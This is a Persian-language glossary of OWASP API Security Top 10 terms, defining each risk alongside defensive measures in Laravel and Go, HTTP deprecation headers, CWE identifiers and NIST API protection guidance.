Query محدودشده (Scoped query)WHERE شامل tenant یا مالک فراخواننده است تا ردیف بیگانه بارگذاری نشود
امنیت سطری (Row-level security / RLS)قابلیت PostgreSQL برای فیلتر ردیف با policy؛ مثلاً current_setting('app.tenant_id')
API2 Broken Authenticationورود، مدیریت توکن یا بازیابی ضعیف که تصاحب هویت را ممکن می‌کند
احراز هویت مجدد (Re-authentication)درخواست دوبارهٔ گذرواژه، passkey یا MFA پیش از تغییر حساس
API3 Broken Object Property Level Authorization (BOPLA)خواندن یا نوشتن ویژگی غیرمجاز؛ ادغام excessive data exposure و mass assignment
افشای بیش‌ازحد داده (Excessive data exposure)بازگرداندن ویژگی غیرمجاز با اتکا به پنهان‌کردن کلاینت؛ API3:2019
انتساب انبوه (Mass assignment)bind فیلد درخواست به شیء و نوشتن ویژگی غیرمجاز توسط کلاینت؛ API6:2019 و CWE-915؛ نام‌های autobinding و object injection هم دارد
فهرست مجاز ویژگی‌ها (Allow-list of properties)فهرست صریح ویژگی‌های پذیرفته یا بازگردانده‌شده؛ بقیه حذف‌اند
شیء انتقال دادهٔ پاسخ (Response DTO)دقیقاً مشخص می‌کند چه چیزی برای یک مخاطب از API خارج می‌شود
شیء انتقال دادهٔ ورودی (Input DTO)نوعی که دقیقاً ویژگی‌های قابل‌تنظیم درخواست را تعریف می‌کند
$fillableproperty مدل Laravel به سبک 12.x و قدیمی‌تر برای attributeهای mass-assignable؛ در Laravel 13، #[Fillable]
$guardedproperty مدل Laravel برای attributeهای غیر mass-assignable؛ فهرست ممنوع؛ $guarded = [] همه را آزاد می‌کند
#[Hidden]attribute مدل Laravel 13 برای حذف ویژگی از سریال‌سازی array/JSON
DisallowUnknownFieldsگزینهٔ Go json.Decoder برای شکست decode روی کلید بیرون struct مقصد
API4 Unrestricted Resource Consumptionنبود سقف کار، اندازه، batch، زمان یا هزینهٔ هر درخواست یا کلاینت
سقف هزینه (Spending limit)سقف یا هشدار صورتحساب مصرف پولی شخص ثالث مانند SMS و AI
API5 Broken Function Level Authorization (BFLA)فراخوانی تابعی، اغلب مدیریتی، که نقش فراخواننده مجاز نمی‌داند
endpoint مدیریتی (Admin endpoints)تابع نقش ممتاز: خروجی کاربران، تغییر نقش، دعوت و impersonation
دست‌کاری متد (Method tampering)تغییر GET به DELETE/PUT برای رسیدن به handler بی‌محافظ
رد پیش‌فرض (Deny by default)دسترسی رد است مگر قاعده اجازه دهد؛ در routing مسیر بدون policy وجود ندارد
API6 Unrestricted Access to Sensitive Business Flowsجریان مجاز خرید، رزرو، پست یا دعوت بدون محدودیت استفادهٔ خودکار و افراطی
سوءاستفادهٔ ربات (Bot abuse)کلاینت خودکار جریان را سریع‌تر یا بیشتر از انسان مصرف می‌کند
سوءاستفادهٔ منطق کسب‌وکار (Business logic abuse)استفادهٔ ناخواسته و زیان‌بار از قابلیت درست؛ بدون نیاز به باگ فنی
خرید احتکاری (Scalping)خرید موجودی محدود برای فروش دوباره؛ OWASP OAT-005
اثرانگشت دستگاه (Device fingerprinting)شناسایی دستگاه از ویژگی‌هایش برای سقف یا challenge
الگوی غیرانسانی (Non-human pattern)رفتار ناممکن برای انسان، مثل سبد تا checkout زیر یک ثانیه
سقف کاربر و منبع (Rate limits per user and per resource)محدودیت با کلید حساب و شیء کمیاب مانند SKU یا وقت؛ نه فقط IP
API7 Server Side Request Forgeryواکشی URL کلاینت توسط API و هدایت به هدف داخلی؛ CWE-918
API8 Security Misconfigurationپیش‌فرض ناامن، خطای پرجزئیات، نبود TLS، CORS باز و proxy ناسازگار
جزئیات مسئله (Problem details)قالب خطای RFC 9457 با application/problem+json؛ اینجا فقط شناسهٔ هم‌بستگی
API9 Improper Inventory Managementمیزبان، نسخه، مسیر و جریان دادهٔ ناشناخته یا مستندنشده
فهرست API (API inventory)ثبت هر میزبان، نسخه، محیط، مخاطب، مالک، عملیات و جریان دادهٔ API
API سایه (Shadow API)API فعال بیرون inventory و مرور امنیتی؛ NIST: "Rogue or shadow APIs"
API زامبی (Zombie API)نسخهٔ جایگزین‌شده‌ای که هنوز اجرا می‌شود؛ NIST: "Zombie or deprecated APIs"
OpenAPI به‌عنوان inventoryسند OpenAPI با x-owner، deprecated، x-sunset مرجع حقیقت است و CI با کد مقایسه‌اش می‌کند
نسخه‌بندی و کنارگذاری (Versioning and deprecation)اجرای نسخه‌ها کنار هم با برنامهٔ بازنشستگی منتشرشده
هدر Deprecationهدر پاسخ RFC 9745 با @<unix-time> برای اعلام کنارگذاشته‌شدن فعلی یا آیندهٔ منبع
هدر Sunsetهدر پاسخ RFC 8594 با تاریخی که URI احتمالاً دیگر پاسخ نمی‌دهد
410 Goneوضعیت نسخهٔ عبورکرده از sunset
API10 Unsafe Consumption of APIsاعتماد به پاسخ API ثالث؛ بدون TLS، اعتبارسنجی، سقف یا timeout، همراه redirect کور
اعتماد به API ثالث (Third-party API trust)سطح اعتماد به شریک؛ برای داده، برابر کلاینت غیرقابل‌اعتماد
اعتبارسنجی ورودی پاسخ بالادستی (Input validation of upstream responses)بررسی نوع، طول، الگو و enum دادهٔ شریک پیش از مصرف و سپس bind آن
میان‌افزار مجوز (Authorization middleware)فیلتر پیش از handler برای احراز هویت و قواعد کلی سطح تابع
اشیای سیاست (Policy objects)کلاس یا تابع تصمیم اجازه/رد عمل روی شیء؛ Laravel Policies یا تابع policy در Go
Laravel Policiesکلاس در app/Policies با متد هر عمل، کشف از نام‌گذاری یا #[UsePolicy]
Gatefacade مجوز Laravel: Gate::define، Gate::authorize، Gate::before، Gate::after
Form Requestکلاس درخواست Laravel با authorize() و rules()؛ validated() فقط کلید مجاز برمی‌گرداند
prohibitedقاعدهٔ Laravel: فیلد باید غایب یا خالی باشد
API resource (JsonResource)تبدیل‌کنندهٔ پاسخ Laravel؛ اینجا DTO پاسخ
مجوز handler در Go (Go handler authorization)principal از context، wrapperِ policy مسیر و تابع policy داخل handler
دروازهٔ API (API gateway)مؤلفهٔ مرزی TLS، احراز هویت، سقف نرخ، routing و فهرست مجاز مسیر
authz_failرخداد OWASP Logging Vocabulary برای تلاش دسترسی غیرمجاز
ثبت و هشدار شکست مجوز (Logging and alerting for authorization failures)ثبت رد Policy به‌عنوان رخداد امنیتی و هشدار روی نرخ آن
ارجاع CWE (CWE references)شناسهٔ ضعف در صفحهٔ هر خطر OWASP؛ مثل CWE-639، CWE-915، CWE-285
CWE-639Authorization Bypass Through User-Controlled Key؛ عبور از مجوز با کلید تحت کنترل کاربر
CWE-915Improperly Controlled Modification of Dynamically-Determined Object Attributes؛ کنترل نادرست تغییر ویژگی پویای شیء
CWE-213Exposure of Sensitive Information Due to Incompatible Policies؛ افشای اطلاعات حساس بر اثر policy ناسازگار
CWE-285Improper Authorization؛ بررسی نادرست مجوز (Authorization)
CWE-1059Insufficient Technical Documentation؛ مستندات فنی ناکافی؛ OWASP عبارت "Incomplete Documentation" را چاپ می‌کند
NIST SP 800-228Guidelines for API Protection for Cloud-Native Systems؛ ژوئن ۲۰۲۵، به‌روزرسانی مارس ۲۰۲۶
ماتریس مجوز (Authorization matrix)جدول نقش × تابع و شیء برای تولید تست مجوز

منابع ​

ساخته‌شده توسط Morteza Negahi